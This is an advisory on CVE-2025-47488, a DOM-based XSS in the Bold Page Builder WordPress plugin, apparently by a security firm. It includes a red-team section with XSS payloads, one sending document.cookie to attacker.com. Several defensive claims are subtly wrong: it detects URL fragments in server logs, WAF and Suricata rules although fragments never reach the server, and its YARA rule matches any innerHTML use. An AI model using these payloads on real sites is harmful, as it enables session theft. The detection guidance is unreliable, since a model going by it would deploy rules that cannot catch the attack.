CVE-2025-47488

Executive Summary

CVE-2025-47488 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the Bold Page Builder WordPress plugin (versions <= 5.3.2) by Boldthemes. This vulnerability allows an attacker to inject malicious scripts into web pages generated by the plugin, which execute in the victim's browser due to improper handling of user input. The attack vector is network-based, requires user interaction (e.g., clicking a crafted link), and can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as DOM-Based XSS because the payload is executed entirely on the client side via JavaScript manipulation of the Document Object Model (DOM). No public exploit code or patch is currently available, making this a high-priority issue for WordPress site administrators.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is a third-party component, and the risk extends to any site using the affected version. Supply chain risks include:

• Delayed patching: The vendor has not released a patch, leaving all users exposed.
• Widespread impact: The plugin is popular for building custom page layouts, increasing the attack surface.
• No known workaround: Without a patch, mitigation relies on disabling the plugin or applying web application firewall (WAF) rules.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): Required – victim must click a malicious link or visit a crafted page.
• Scope (S): Changed – impact extends beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): Low – limited disruption.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin's widespread use elevate the real-world risk. DOM-Based XSS can be particularly insidious as it bypasses server-side filters.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user input in the Bold Page Builder plugin. The plugin processes user-supplied data (e.g., via shortcodes, attributes, or URL parameters) and injects it into the DOM without proper sanitization. An attacker can craft a malicious URL or input that, when processed by the plugin's JavaScript, executes arbitrary HTML/JavaScript in the victim's browser.

Technical Flow:

1. The plugin's JavaScript reads a value from window.location.hash, document.URL, or a similar DOM property.
2. This value is directly inserted into the DOM via innerHTML, document.write, or jQuery methods like .html().
3. An attacker crafts a URL like: https://victim.com/page/#<img src=x onerror=alert(1)>.
4. When the victim visits this URL, the plugin's script extracts the hash fragment and injects it into the page, causing the onerror event to fire.

Root Cause: The plugin fails to use safe DOM manipulation methods (e.g., textContent instead of innerHTML) and does not encode or validate input before rendering.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. A typical vulnerable code snippet in a WordPress plugin might look like:

// Vulnerable code
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

A patched version would sanitize the input:

// Patched code
var userInput = window.location.hash.substring(1);
var safeOutput = document.createTextNode(userInput);
document.getElementById('output').appendChild(safeOutput);

Or use a DOMPurify library:

// Patched code with DOMPurify
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = DOMPurify.sanitize(userInput);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Bold Page Builder <= 5.3.2 installed and active.
• A page using the vulnerable component (e.g., a custom layout with dynamic content).

Exploit Steps:

1. Identify a page that reflects user input from the URL hash or query string.
2. Craft a payload: https://victim.com/page/#<img src=x onerror=alert(document.cookie)>
3. Send the link to the victim via phishing email or social engineering.
4. When the victim clicks the link, the script executes, exfiltrating cookies or performing other actions.

Example Payload:

https://victim.com/page/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script, onerror, onload, or other XSS patterns in the URL fragment.
• Use browser-based CSP (Content Security Policy) headers to block inline scripts.

Mitigation:

• Disable the Bold Page Builder plugin until a patch is released.
• Implement a WAF rule to block requests with suspicious hash fragments.
• Educate users not to click on untrusted links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing #<script or #<img in the fragment.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• File IOCs:
  • Modified JavaScript files in /wp-content/plugins/bold-page-builder/ (if attacker uploads malicious code).
• Behavioral IOCs:
  • Unexpected pop-ups or redirects on pages using Bold Page Builder.
  • Unauthorized cookie access or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2025_47488_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS patterns in Bold Page Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47488"
    strings:
        $vuln_func1 = "innerHTML" nocase
        $vuln_func2 = "document.write" nocase
        $vuln_func3 = "window.location.hash" nocase
        $vuln_func4 = "location.hash" nocase
    condition:
        any of ($vuln_func*) and filesize < 500KB
}

Sigma Rule

title: CVE-2025-47488 DOM-Based XSS in Bold Page Builder
id: 8a3f2c1e-5b7d-4f9a-8c2e-1d3f5a7b9c0d
status: experimental
description: Detects potential DOM-based XSS attacks targeting Bold Page Builder plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments for navigation
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47488 DOM-Based XSS in Bold Page Builder"; flow:to_server,established; content:"#<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-47488 DOM-Based XSS in Bold Page Builder - img tag"; flow:to_server,established; content:"#<img"; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and remove Bold Page Builder until a patch is released.
2. Apply WAF rules: Block requests containing #<script, #<img, or similar patterns in the URL.
3. Implement CSP: Add Content-Security-Policy: script-src 'self' to prevent inline script execution.

Long-Term Fix:

• Monitor the vendor's website for a patched version (expected > 5.3.2).
• Once available, update the plugin immediately.
• Consider replacing the plugin with an alternative that has a better security track record.

Workaround:

• If the plugin cannot be disabled, use a reverse proxy to strip or sanitize URL fragments before they reach the server.

Valters IT
Securing Digital Frontiers